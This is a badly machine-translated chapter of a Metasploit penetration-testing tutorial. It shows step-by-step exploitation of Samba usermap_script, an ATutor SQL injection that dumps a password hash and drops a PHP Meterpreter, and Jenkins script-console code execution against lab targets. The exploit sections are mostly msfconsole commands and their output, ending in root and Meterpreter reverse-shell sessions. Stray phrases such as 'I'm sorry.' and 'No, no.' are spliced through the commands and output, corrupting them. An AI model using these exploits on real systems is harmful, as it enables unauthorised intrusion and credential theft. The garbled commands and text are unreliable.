Chapter III Service gap utilization
In this chapter, we will learn the following: 1, attacks on Linux Server 2, SQL injection of attack 3, shell type 4, attacks on Windows Server 5, use of utility 6, MS17-010 Blue Forever SMB remote code for nuclear damage within Windows 7, MS17-010 Regular Ramance/EternalSynergy/EternalCampion 8, implantation back door 9, denial of service attack
Introduction
Once a loophole has been reported, the development of its use is initiated. A licensed operating system, such as Windows, can quickly develop patching programs for loopholes or BUGs and update users. Lacunae disclosure is a serious problem, especially when zeroday leaks cause severe damage to the computer industry. In the course of infiltration testing, once information on a target operating system is available, people start looking for available procedures for specific service or operational system loopholes. So this chapter will be our first step in understanding gaps in target servers. We will focus on some systems using extensive Windows and Linux operations. msfconsole. About msfconsole And how to start msfconsole The chapter before us has already been explained.msfconsole , if you want to see help, you can enter directly help Just give the order.
-
msf5 > help
-
-
Core Commands
-
=============
-
-
Command Description
-
——- ———–
-
? Help menu
-
banner Display an awesome metasploit banner
-
cd Change the current working directory
-
color Toggle color
-
connect Communicate with a host
-
exit Exit the console
-
get Gets the value Of course. a context-specific variable
-
getg Gets the value Of course. a global variable
-
grep Grep the output Of course. another command
-
help Help menu
-
history Show command history
-
load Load a framework plugin
-
quit Exit the console
-
repeat Repeat a list Of course. commands
-
route Route traffic through a session
-
save Saves the active datastores
-
sessions Dump session listings I’m sorry. display information about session
-
Set Sets a context-specific variable I’m sorry. a value
-
setg Sets a global variable I’m sorry. a value
-
sleep Do nothing You know, for… the specified number Of course. seconds
-
spool Write console output into a file # As if well the screen
-
threads View I’m sorry. manipulate background threads
-
….
-
Set RHOSTS fe80:3990:0000/110, ::1-:f0f0
-
-
Target a block from a resolved domain name:
-
-
Set RHOSTS www.example.test/24
-
msf5 >
-
Copy Code
From the output results, there are a number of orders that you might be scared to death. But we’ve already learned about them before, such as database commands. We will now focus on the most useful orders at the gap-use stage and learn about other orders in the process.searchCommand
-
msf5 > search -h
-
Usage: search [ options ] <keywords>
-
-
OPTIONS:
-
-h Show this help information
-
– Oh, my God. <file> Send output to a file I don’t know. csv format
-
-S <string> Search string You know, for… row filter
-
-u Use module If… there is one result
-
-
Keywords:
-
Aka: Modules with a matching AKA (also-known-# As if) name
-
author : Modules written by this author
-
arch : Modules affecting this architecture
-
# I’m not sure what you’re doing # Modules with a matching Bugtraq ID
-
cve: Modules with a matching CVE ID
-
edb: Modules with a matching Exploit-DB ID
-
check : Modules that support the ‘check’ method
-
date : Modules with a matching disclosure date
-
description : Modules with a matching description
-
full_name : Modules with a matching full name
-
mod_time : Modules with a matching modification date
-
name : Modules with a matching descriptive name
-
path : Modules with a matching path
-
platform : Modules affecting this platform
-
port : Modules with a matching port
-
rank : Modules with a matching rank (Can be descriptive (Ex: ‘good’) or numeric with comparison operators (Ex: ‘gte400’))
-
Ref: Modules with a matching ref
-
reference : Modules with a matching reference
-
target : Modules affecting this target
-
type: Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
-
-
Examples:
-
search cve:2009 type:exploit
-
-
msf5 >
-
Copy Code
It’s through. searchWe can look for a lot of things, including modules, holes and so on.
1. Attacks on Linux servers
LinuxThis is one of the most widely used operating systems, and in the previous section we have learned how to scan available services and scan targets using a leak scanner. In this section we will useMetasploitable2As a target, we’ll use it.SambaThe service leak is correct.LinuxTarget aircraft attack.
Preparatory work
First of all, we useservivesCommand before searchingnmapScan results and filter them139and445Port.
-
msf5 > services -c port,info P-p. 139,445 192.168.177.145
-
Services
-
========
-
-
host port info
-
—- —- —-
-
192.168.177.145 139 Samba smbd 3I’m sorry. 4.X workgroup: WORKGROUP
-
192.168.177.145 445 Samba smbd 3I’m sorry. 4.X workgroup: WORKGROUP
-
-
msf5 >
-
Copy Code
Now we know the target.Samba, and then we can look for the corresponding loopholes and use them.searchCommand to search for a user-usable attack module. TIP: We can access the Universal Gap Disclosure (CVE) online platformhttps://www.cvedetails.comFound in itSamba 3.0.20The details of the leaks. searchCommand Filter CVE、模块类型、关键字You can find a usable attack module.
-
msf5 > search cve: 2007 type:exploit samba
-
-
Matching Modules
-
================
-
-
# Name Disclosure Date Rank Check Description
-
– —- ————— —- —– ———–
-
1 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
-
2 exploit/multi/samba/usermap_script 2007-05-14 excellent No, no. Samba “username map script” Command Execution
-
3 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No, no. Samba lsa_io_trans_names Heap Overflow
-
4 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No, no. Samba lsa_io_trans_names Heap Overflow
-
-
-
msf5 >
-
Copy Code
How?
1. Selection of attack modules
-
msf5 > use exploit/multi/samba/usermap_script
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
2. OperationinfoView module information
-
msf5 exploit(multi/samba/usermap_script) > info
-
-
Name: Samba “username map script” Command Execution
-
Module: exploit/multi/samba/usermap_script
-
Platform: Unix
-
Arch: Cmd
-
Privileged: Yes
-
License: Metasploit Framework License (BSD)
-
Rank: Excellent
-
Disclosed: 2007-05-14
-
……
-
Description:
-
This module exploits a command execution vulnerability in Samba
-
versions 3.0.20 through 3.0.25rc3 when using the non-default
-
map script” configuration option. By specifying a username
-
containing shell meta characters, attackers can execute arbitrary
-
No authentication is needed to exploit this vulnerability
-
since this option is used to map usernames prior to authentication!
-
References:
-
https://cvedetails.com/cve/CVE-2007-2447/
-
OSVDB (34700)
-
http://www.securityfocus.com/bid/23972
-
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
-
http://samba.org/samba/security/CVE-2007-2447.html
-
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
The module describes the information, and it is clear that the module is usedSamba 3.0.20Present.3.0.25rc. Let’s try it. 3 and configuration parameters are passedshow missingCommand, view the parameters that must be configured
-
msf5 exploit(multi/samba/usermap_script) > show missing
-
-
Module options (exploit/multi/samba/usermap_script):
-
-
Name Current Setting Required Description
-
————— ——– ———–
-
RHOSTS yes The target address range or CIDR identifier
-
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
TIP: To show advanced options for modules, you can useshow advanced Orders. We’ll just have to set the target here.IPThe address is fine. We’re through.set [options] [value]Set
-
msf5 exploit(multi/samba/usermap_script) > Set RHOSTS 192.168.177.145
-
RHOSTS => 192.168.177.145
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
4. AttacksexploitIt’s all right.
-
msf5 exploit(multi/samba/usermap_script) > exploit
-
-
[*] Started reverse TCP double handler I’m sorry. 192.168.177.143:4444
-
[*] Accepted the first client connection…
-
[*] Accepted the second client connection…
-
[*] Command: echo 48vnI4nfAB1GTD5d;
-
[] Writing to socket A
-
[] Writing to socket B
-
[] Reading from sockets…
-
[] Reading from socket B
-
[B: “48vnI4nfAB1GTD5d\r\n”
-
[] Matching…
-
[A Yes. input…
-
[] Command shell session 1 opened (192.168.177.143:4444 -> 192.168.177.145:51353) at 2019-04-26 13:14:08 +0800
-
-
Copy Code
When the attack succeeds, we will get a link to the target machine. We can execute some orders to verify whether or not the target machine is authorized.
-
hostname
-
metasploiable
-
ip a show
-
1: I’m sorry. <LOOPBACK, UP, LOWER_UP> mtu 16436 qdisc noqueue
-
link/loopback 00:00:00:00:00:00 I don’t know. 00:00:00:00:00:00
-
inet 127.0.0.1/8 scope host lo
-
inet6 ::1/128 scope host
-
valid_lft forever preferred_lft forever
-
2: eth0: <ROADCAST, MULTICAST, UP, LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
-
link/ether 00:0c:29:cc:9a:ea brd ff:ff:ff:ff:ff:ff
-
inet 192.168.177.145/24 I don’t know. 192.168.177.255 scope global eth0
-
inet6 Fe80::20c:29ff:fecc:9aea/64 scope link
-
valid_lft forever preferred_lft forever
-
3: Ether 1: <BROADCAST, MULTICAST> mtu 1500 qdisc noop qlen 1000
-
link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
-
♪ I don’t know, id
-
uid=0(root) gid=0(root)
-
Copy Code
PressCtrl+ZI’ll take it backstage.
-
uid=0(root) gid=0(root)
-
⁇ / Press Ctrl+Z
-
Background session 1? [I’m sorry.
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
5 to operate a session, availablesessionsCommand
-
msf5 exploit(multi/samba/usermap_script) > sessions -h
-
Use: sessions [options] # Or # sessions [id]
-
-
Active session manipulation I’m sorry. interaction.
-
-
OPTIONS:
-
-
-C <I don’t know.> Run a Meterpreter Command I’m sorry. the session given with I-I-I… # Or # All of them.
-
-K Terminate all sessions
-
-S <I don’t know.> Row search filter.
-
-C-c. <I don’t know.> Run a command I’m sorry. the session given with I-I-I… # Or # All of them.
-
-d List all inactive sessions
-
-h Help banner
-
– I don’t know. <I don’t know.> Interact with the supplied session ID
-
– Okay. <I don’t know.> Terminate sessions by session ID I’m sorry./# Or # range
-
-l List all active sessions
-
– No, I don’t. <I don’t know.> Name # Or # rename a session by ID
-
-q Quiet mode
-
– I’m sorry. <I don’t know.> Run a script # Or # module I’m sorry. the session given with I-I-I… # Or # All of them.
-
– T-t-t-t-t-t-t-t-t-t-t-t-t-t-t-t-t-t-T-t-t- <I don’t know.> Set a response timeout (default: 15)
-
– I’m sorry. <I don’t know.> Upgrade a shell I’m sorry. a meterpreter session I’m sorry. many platforms
-
-v List all active sessions I don’t know. verbose mode
-
-x Show extended information I don’t know. the session table
-
-
Many options allow specifying session ranges using commas I’m sorry. dashes.
-
For example: sessions -s checkvm -i 1,3-5 # Or # sessions -k 1-2,5,6
-
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
Six, to get back to the conversation you just had.sessions -i [session_id]Command, usesessions -lSee the list of all active sessions.
-
msf5 exploit(multi/samba/usermap_script) > sessions – I’m sorry.
-
-
Active sessions
-
===============
-
-
Id. Name Type Information Connection
-
— —- —- ———– ———-
-
1 shell cmd/unix 192.168.177.143:4444 -> 192.168.177.145:51353 (192.168.177.145)
-
-
msf5 exploit(multi/samba/usermap_script) > sessions – I don’t know. 1
-
[*] Starting interaction with 1…
-
-
♪ I don’t know, id
-
uid=0(root) gid=0(root)
-
ip a show
-
1: lo: <LOOPBACK, UP, LOWER_UP> mtu 16436 qdisc noqueue
-
link/loopback 00:00:00:00:00:00 I don’t know. 00:00:00:00:00:00
-
inet 127.0.0.1/8 scope host I’m sorry.
-
inet6 ::1/128 scope host
-
valid_lft forever preferred_lft forever
-
2: eth0: <ROADCAST, MULTICAST, UP, LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
-
link/ether 00:0c:29:cc:9a:ea I don’t know. ff:ff:ff:ff:ff:ff
-
inet 192.168.177.145/24 I don’t know. 192.168.177.255 scope global Eth0
-
inet6 fe80::20c:29ff:fecc:9aea/64 scope link
-
valid_lft forever preferred_lft forever
-
3: eth1: <BROADCAST, MULTICAST> mtu 1500 qdisc noop qlen 1000
-
link/ether 00:0c:29:cc:9a:f4 I don’t know. ff:ff:ff:ff:ff:ff
-
-
Copy Code
To terminate a session, pressCtrl+c。
-
link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff
-
⁇ C //Ctrl+C
-
Abort session 1♪ [y]/N] y // Enter y
-
“”
-
-
[*] 192.168.177.145 – Command shell session 1 closed. Reason: User exit
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
How does it work?
SambaFor useLinuxandWindows. Print and file-sharing services between you.Samba 3.0.0to3.0.25rc3It’s…smbdMediumMS-RPCThe function allows the remote attacker to pass.SamrChangePasswordFunctionalshellCharacter execution of any command when enabledsmb.conf, allow remote authentication of users through other remote printersMS-RPCfunction’s external char execution command, and file sharing management. The gap attack module contains by specifying a usernameshellCharacter, the assailant can execute an arbitrary command. As this option is used to map user names before authentication, no authentication is required to take advantage of this loophole.
A payload?
We don’t have a name.payload♪ And so ♪MetasploitThe default has been assigned to us.payload. We can useshow optionsView
-
msf5 exploit(multi/samba/usermap_script) > show options
-
-
Module options (exploitation/multi/samba/usermap_script):
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
RHOSTS 192.168.177.145 Yes. The target address range # Or # CIDR identifier
-
RPORT 139 Yes. The target port (TCP)
-
-
-
Payload options (cmd/unix/reverse):
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
LHOST 192.168.177.143 Yes. The listn address ♪ An interface Maybe. I don’t know, be. specified)
-
LPORT 4444 Yes. The listn port
-
-
-
Exploit target:
-
-
Id. Name
-
— —-
-
0 Automatic
-
-
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
You can see, usepayloadIt’s one.unixReverseshellWe can pass.show payloasLists all available attack loads for the current attack module.
-
msf5 exploit(multi/samba/usermap_script) > show payloads
-
-
Compatible Payloads
-
===================
-
-
# Name Disclosure Date Rank Check Description
-
– —- ————— —- —– ———–
-
1 cmd/unix/bind_awk normal No, no. Unix Command Shell, Bind TCP (via) AWK)
-
2 cmd/unix/bind_busybox_telnetd normal No, no. Unix Command Shell, Bind TCP (via) BusyBox telnetd)
-
3 cmd/unix/bind_inetd normal No, no. Unix Command Shell, Bind TCP (inetd)
-
4 cmd/unix/bind_lua normal No, no. Unix Command Shell, Bind TCP (via) Lua)
-
5 cmd/unix/bind_netcat normal No, no. Unix Command Shell, Bind TCP (via) netcat)
-
6 cmd/unix/bind_netcat_gaping normal No, no. Unix Command Shell, Bind TCP (via) netcat I’m sorry.
-
7 cmd/unix/bind_netcat_gaping_ipv6 normal No, no. Unix Command Shell, Bind TCP (via) netcat I’m sorry. IPv6
-
8 cmd/unix/bind_perl normal No, no. Unix Command Shell, Bind TCP (via) Perl)
-
9 cmd/unix/bind_perl_ipv6 normal No, no. Unix Command Shell, Bind TCP (via) perl) IPv6
-
10 cmd/unix/bind_r normal No, no. Unix Command Shell, Bind TCP (via) & R
-
11 cmd/unix/bind_ruby normal No, no. Unix Command Shell, Bind TCP (via) Ruby)
-
12 cmd/unix/bind_ruby_ipv6 normal No, no. Unix Command Shell, Bind TCP (via) Ruby) IPv6
-
13 cmd/unix/bind_socat_udp normal No, no. Unix Command Shell, Bind UDP (via) socat)
-
14 cmd/unix/bind_zsh normal No, no. Unix Command Shell, Bind TCP (via) Zsh)
-
15 cmd/unix/generic normal No, no. Unix Command, Generic Command Execution
-
16 cmd/unix/reverse normal No, no. Unix Command Shell, Double Reverse TCP (telnet)
-
17 cmd/unix/reverse_awk normal No, no. Unix Command Shell, Reverse TCP (via) AWK)
-
18 cmd/unix/reverse_bash_telnet_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (telnet)
-
19 cmd/unix/reverse_ksh normal No, no. Unix Command Shell, Reverse TCP (via) Ksh)
-
20 cmd/unix/reverse_lua normal No, no. Unix Command Shell, Reverse TCP (via) Lua)
-
21 cmd/unix/reverse_ncat_ssl normal No, no. Unix Command Shell, Reverse TCP (via) ncat)
-
22 cmd/unix/reverse_netcat normal No, no. Unix Command Shell, Reverse TCP (via) netcat)
-
23 cmd/unix/reverse_netcat_gaping normal No, no. Unix Command Shell, Reverse TCP (via) netcat I’m sorry.
-
24 cmd/unix/reverse_openssl normal No, no. Unix Command Shell, Double Reverse TCP SSL (openssl)
-
25 cmd/unix/reverse_perl normal No, no. Unix Command Shell, Reverse TCP (via) Perl)
-
26 cmd/unix/reverse_perl_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) perl)
-
27 cmd/unix/reverse_php_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) php)
-
28 cmd/unix/reverse_python normal No, no. Unix Command Shell, Reverse TCP (via) Python)
-
29 cmd/unix/reverse_python_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) python)
-
30 cmd/unix/reverse_r normal No, no. Unix Command Shell, Reverse TCP (via) & R
-
31 cmd/unix/reverse_ruby normal No, no. Unix Command Shell, Reverse TCP (via) Ruby)
-
32 cmd/unix/reverse_ruby_ssl normal No, no. Unix Command Shell, Reverse TCP SSL (via) Ruby)
-
33 cmd/unix/reverse_socat_udp normal No, no. Unix Command Shell, Reverse UDP (via) socat)
-
34 cmd/unix/reverse_ssl_double_telnet normal No, no. Unix Command Shell, Double Reverse TCP SSL (telnet)
-
35 cmd/unix/reverse_zsh normal No, no. Unix Command Shell, Reverse TCP (via) Zsh)
-
-
msf5 exploit(multi/samba/usermap_script) >
-
Copy Code
We can still do it.sessions -u [sessions_id] I can do it.shellUpgrade Session tometerpreterSessions so that they can be usedmeterpreterthe advanced function.meterpreterDetails will be provided in subsequent sections.
-
msf5 exploit(multi/samba/usermap_script) > sessions – I’m sorry. 2
-
[*] Executing ‘post/multi/manage/shell_to_meterpreter’ I’m sorry. session(s): [2]
-
-
[*] Upgrading session ID: 2
-
[*] Starting exploit/multi/handler
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4433
-
[*] Sending stage (985320 bytes) I’m sorry. 192.168.177.145
-
[*] Meterpreter session 3 opened (192.168.177.143:4433 -> 192.168.177.145:35189) It’s not like I’m gonna be able to do this. 2019-04-26 13:46:35 +0800
-
[*] Command stager progress: 100.00% (773/773 bytes)
-
Copy Code
2, SQL Injection
MetasploitA few.SQLUse modules that inject loopholes enable us to test and verify the vulnerability of targets.
Preparatory work
We’ll install an open source of vulnerability.LMS:Atutor 2.2.1Conduct tests, accesswww.exploit-db.com/exploités/39… , clickVULNERABLE APPOpen Source Download next to the Download ButtonAtutor 2.2.1。
TIP: How to install ATutor, you can view the official document.
How?
The module was used.ATutor 2.2.1It’s…SQLThe introduction of loopholes and identification gaps means that we can bypass authentication, access management interfaces and upload malicious codes.exploit/multi/http/atutor_sqliModules, view module options
-
msf5 > # I’m not gonna let you go # exploit/multi/http/atitor_sqli
-
msf5 exploit(multi/http/atitor_sqli) > show options
-
-
Module options (exploitation/multi/http/atitor_sqli):
-
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
Proxies No, no. A proxy chain Of course. format type:host:port[,type:host:port][…]
-
RHOSTS Yes. The target address range # Or # CIDR identifier
-
RPORT 80 Yes. The target port (TCP)
-
SSL false No, no. Negotiate SSL/TLS You know, for… outgoing Connections
-
TARGETURI /Autuor/ Yes. The path Of course. Attor
-
VHOST No, no. HTTP server virtual host
-
-
-
Exploit target:
-
-
Id. Name
-
— —-
-
0 Automatic
-
-
-
msf5 exploit(multi/http/atitor_sqli) >
-
Copy Code
Before the attack, you can have it.checkCommand to check if the target is vulnerable. Then attack.
-
msf5 exploit(multi/http/atitor_sqli) > check
-
[+] 192.168.177.139:80 – The target Yes. vulnerable.
-
msf5 exploit(multi/http/atitor_sqli) >
-
msf5 exploit(multi/http/atitor_sqli) > exploit
-
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] 192.168.177.139:80 – Dumping That’s it. username I’m sorry. password hash…
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] 192.168.177.139:80 – Dumping That’s it. username I’m sorry. password hash…
-
[+] 192.168.177.139:80 – Got That’s it. root’s hash: 9c352326223a09bc610ff4919e611bed3fbb28f5 !
-
[*] Sending stage (38247 bytes) I’m sorry. 192.168.177.139
-
[*] Meterpreter session 13 opened (192.168.177.143:4444 -> 192.168.177.139:50088) It’s not like I’m gonna be able to do this. 2019-04-28 13:53:36 +0800
-
[!] This exploit Maybe. require manual cleanup Of course. ‘ytux.php’ I’m sorry. That’s it. target
-
[!] This exploit Maybe. require manual cleanup Of course. ‘/var/content/module/zyq/ytux.php’ I’m sorry. That’s it. target
-
-
meterpreter >
-
Copy Code
Depending on the complexity of the password, it takes different time.shell
-
meterpreter > getuid
-
Server username: Administrator (0)
-
meterpreter > sysinfo
-
Computer : WIN-BGKRU85VR4H
-
OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
-
Meterpreter : php/windows
-
meterpreter >
-
Copy Code
3, shell type
We’ll discuss some of the available items before we start with the next section.shellType of.shellThere’s basically two, one of them.bind shellOne of them is…reverse shjell。
bindShell, it’s called a positive connection.shell. The program is to monitor the local port of the target machine and allow the assailant to connect to the listening port.bind shellIt’s perfect for a local loophole, like when you have successfully endangered the target computer through fishing attacks and want to use local service power. But it’s not suitable for remote attack scenarios. Because targets are usually behind firewalls, so most of the time we use them more.reverse shellIt’s called reverse.shellAs our effective attack load. Reverse.shellIt’s a listening port for the assailant, and after operating on the target machine, the attack program is actively connected to the target’s listening port.
MetasploitThree different typespayloadModules, namely:singles、stagersandstages。
Singles: a stand-alone payload that can be directly implanted into the target system and the procedures implemented, such as shell_bind_tcp
Stagers: Transferr load, responsible for network connection, andstagesThe payload is used in combination. This load is small and reliable
Stages: Transferr load, instagersOnce a stable connection has been established, the advanced functionality provided is as follows: shell,meterpreter, dllinject, patchupdllinject, upexec,vncinjectWait.metasploitMediummeterpreterActually, it’s just one.payload. It needsstagersandstagesCooperate with use.
Preparatory work
In the previous sectionSQLInjecting, a valid loophole has been exploited. So we’ll use it to test different types of things.payload
How?
1. Useshow payloadscommand displays the available payload.
-
msf5 exploit(multi/http/atitor_sqli) > show payloads
-
-
Compatible Payloads
-
===================
-
-
# Name Disclosure Date Rank Check Description
-
– —- ————— —- —– ———–
-
1 generic/custom normal No, no. Custom Payload
-
2 generic/shell_bind_tcp normal No, no. Generic Command Shell, Bind TCP Inline
-
3 generic/shell_reverse_tcp normal No, no. Generic Command Shell, Reverse TCP Inline
-
4 php/bind_perl normal No, no. PHP Command Shell, Bind TCP (via) Perl)
-
5 php/bind_perl_ipv6 normal No, no. PHP Command Shell, Bind TCP (via) perl) IPv6
-
6 php/bind_php normal No, no. PHP Command Shell, Bind TCP (via) PHP)
-
7 php/bind_php_ipv6 normal No, no. PHP Command Shell, Bind TCP (via) php) IPv6
-
8 php/download_exec normal No, no. PHP Executable Download I’m sorry. Execute
-
9 php/exec normal No, no. PHP Execute Command
-
10 php/meterpreter/bind_tcp normal No, no. PHP Meterpreter, Bind TCP Stager
-
11 php/meterpreter/bind_tcp_ipv6 normal No, no. PHP Meterpreter, Bind TCP Stager IPv6
-
12 php/meterpreter/bind_tcp_ipv6_uuid normal No, no. PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
-
13 php/meterpreter/bind_tcp_uuid normal No, no. PHP Meterpreter, Bind TCP Stager with UUID Support
-
14 php/meterpreter/reverse_tcp normal No, no. PHP Meterpreter, PHP Reverse TCP Stager
-
15 php/meterpreter/reverse_tcp_uuid normal No, no. PHP Meterpreter, PHP Reverse TCP Stager
-
16 php/meterpreter_reverse_tcp normal No, no. PHP Meterpreter, Reverse TCP Inline
-
17 php/reverse_perl normal No, no. PHP Command, Double Reverse TCP Connection (via) Perl)
-
18 php/reverse_php normal No, no. PHP Command Shell, Reverse TCP (via) PHP)
-
-
msf5 exploit(multi/http/atitor_sqli) >
-
Copy Code
2. View details of the payload, useinfo <payload>Command
-
msf5 exploit(multi/http/atutor_sqli) > info payload/generic/shell_bind_tcp
-
-
Name: Generic Command Shell, Bind TCP Inline Module: payload/generic/shell_bind_tcp Platform: All Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, p
-
hp, java, ruby, dalvik, python, nodejs, firefox, zarch, r
-
Needs Admin: No, no.
-
Total size: 0 Rank: Normal
-
Provided – By:
-
skape <mmiller.org>
-
Basic options:
-
Name Current Setting Required Description
-
—- ————— ——– ———–
-
LPORT 4444 yes The listen port
-
RHOST no The target address
-
Description:
-
List You know, for… a connection and spawn a command shell
-
msf5 exploit(multi/http/atutor_sqli) >
-
Copy Code
3、generic/shell_bind_tcpIt’s a stand-alone payload. To choose it as a payload, we useset payload <payload_name>
-
msf5 exploit(multi/http/atitor_sqli) > Set payload generic/shell_bind_tcp
-
payload => generic/shell_bind_tcp
-
msf5 exploit(multi/http/atitor_sqli) > exploit
-
-
[*] 192.168.177.139:80 – Dumping the username I’m sorry. password hash…
-
Copy Code
4. Usegeneric/shell_bind_tcpThe payload can be used to get a common one.shellBut it’s not enough.PHP MeterpreteIt’s a rich and advanced payload that we can use to exploit this loophole.
-
msf5 exploit(multi/http/atitor_sqli) > info payload/php/meterpreter/reverse_tcp
-
-
Name: PHP Meterpreter, PHP Reverse TCP Stager
-
Module: payload/php/meterpreter/reverse_tcp
-
Platform: PHP
-
Arch: php
-
Needs Admin: No
-
Total size: 1101
-
Rank: Normal
-
-
Provided – By:
-
Egypt <[email protected]>
-
-
Basic options:
-
Name Current Setting Required Description
-
————— ——– ———–
-
LHOST yes The listen address (an interface may be specified)
-
LPORT 4444 yes The listen port
-
-
Description:
-
Run. a meterpreter server in PHP. Reverse PHP connect back stager
-
with checks for disabled functions
-
-
-
msf5 exploit(multi/http/atitor_sqli) >
-
Copy Code
-
msf5 exploit(multi/http/atitor_sqli) > Set PAYLOAD php/meterpreter/reverse_tcp
-
PAYLOAD => php/meterpreter/reverse_tcp
-
msf5 exploit(multi/http/atitor_sqli) > Set LHOST 192.168.177.143
-
LHOST => 192.168.177.143
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] 192.168.177.139:80 – Dumping That’s it. username I’m sorry. password hash…
-
[+] 192.168.177.139:80 – Got That’s it. root’s hash: 9c352326223a09bc610ff4919e611bed3fbb28f5 !
-
[*] Sending stage (38247 bytes) I’m sorry. 192.168.177.139
-
[*] Meterpreter session 14 opened (192.168.177.143:4444 -> 192.168.177.139:51063) It’s not like I’m gonna be able to do this. 2019-04-28 16:42:49 +0800
-
[!] This exploit Maybe. require manual cleanup Of course. ‘bgxx.php’ I’m sorry. That’s it. target
-
[!] This exploit Maybe. require manual cleanup Of course. ‘/var/content/module/glt/bgxx.php’ I’m sorry. That’s it. target
-
-
meterpreter >
-
[+] 192.168.177.139:80 – Deleted bgxx.php
-
meterpreter > getuid
-
Server username: Administrator (0)
-
meterpreter > sysinfo
-
Computer : WIN-BGKRU85VR4H
-
OS : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586
-
Meterpreter : php/windows
-
meterpreter >
-
-
Copy Code
4. Attacks on Windows servers
We’ll use the information we collected before.WindowsServers are used as targets. We’ll use this section.Metasploitable3As a target.
Preparatory work
By collecting information, find loopholes and select the appropriate ones to use the module.servicesView TargetApacheService version.
-
msf5 > services P-p. 8020 192.168.177.144
-
Services
-
========
-
-
host port proto name state info
-
—- —- —– —- —– —-
-
192.168.177.144 8020 tcp http open Apache httpd
-
-
msf5 >
-
Copy Code
Access to target sites
By browsing through the target sites, we can try to log in using weak passwords, for example. admin
I can’t believe it.
How?
1. View running on 8484Port Jenkins-CIServices.
-
msf5 > services 192.168.177.144 P-p. 8484
-
Services
-
========
-
-
host port proto name state info
-
—- —- —– —- —– —-
-
192.168.177.144 8484 tcp http open Jetty winstone-2.8
-
Copy Code
Here, it’s not shown. JenkinsLet’s check it out.
It’s one. JenkinsService. We use it.search jenkinsSearch for available modules
-
msf5 > search jenkins
-
Matching Modules
-
================
-
-
# Name Disclosure Date Rank Check Description
-
– —- ————— —- —– ———–
-
1 auxiliary/gather/jenkins_cred_recovery normal Yes Jenkins Domain Credential Recovery
-
2 auxiliary/scanner/http/jenkins_command normal Yes Jenkins-CI Unauthenticated Script-Console Scanner
-
3 auxiliary/scanner/http/jenkins_enum normal Yes Jenkins-CI Enumeration
-
4 auxiliary/scanner/http/jenkins_login normal Yes Jenkins-CI Login Utility
-
5 auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum normal No, no. Jenkins Server Broadcast Enumeration
-
6 exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
-
7 exploit/linux/misc/jenkins_ldap_deserialize 2016-11-16 excellent Yes Jenkins CLI HTTP Java Deserialization Vulnerability
-
8 exploit/linux/misc/opennms_java_serialize 2015-11-06 normal No, no. OpenNMS Java Object Unserialization Remote Code Execution
-
9 exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass I’m sorry. Metaprogramming RCE
-
10 exploit/multi/http/jenkins_script_console 2013-01-18 good Yes Jenkins-CI Script-Console Java Execution
-
11 exploit/multi/http/jenkins_xstream_deserialize 2016-02-24 excellent Yes Jenkins XStream Groovy classpath Deserialization Vulnerability
-
12 exploit/windows/misc/ibm_websphere_java_deserialize 2015-11-06 excellent No, no. IBM WebSphere RCE Java Deserialization Vulnerability
-
13 post/multi/gather/jenkins_gather normal No, no. Jenkins Credential Collector
-
msf5 >
-
Copy Code
UseJenkins-CI Script-Console Java ExecutionModules
-
msf5 > # I’m not gonna let you go # exploit/multi/http/jenkins_script_console
-
msf5 exploit(multi/http/jenkins_script_console) > Set RHOSTS 192.168.177.144
-
RHOSTS => 192.168.177.144
-
msf5 exploit(multi/http/jenkins_script_console) > Set RPORT 8484
-
RPORT => 8484
-
msf5 exploit(multi/http/jenkins_script_console) > Set TARGETURI /
-
TARGETURI => /
-
msf5 exploit(multi/http/jenkins_script_console) > exploit
-
-
[*] Started reverse TCP handler I’m sorry. 192.168.177.143:4444
-
[*] Checking access I’m sorry. That’s it. script console
-
[*] No, no. authentication required, skipping login…
-
[*] 192.168.177.144:8484 – Sending command stager…
-
[*] Command Stager progress – 2.06% done (2048/99626 bytes)
-
[*] Command Stager progress – 4.11% done (4096/99626 bytes)
-
[*] Command Stager progress – 6.17% done (6144/99626 bytes)
-
….
-
[*] Command Stager progress – 98.67% done (98304/99626 bytes)
-
[*] Command Stager progress – 100.00% done (99626/99626 bytes)
-
[*] Sending stage (179779 bytes) I’m sorry. 192.168.177.144
-
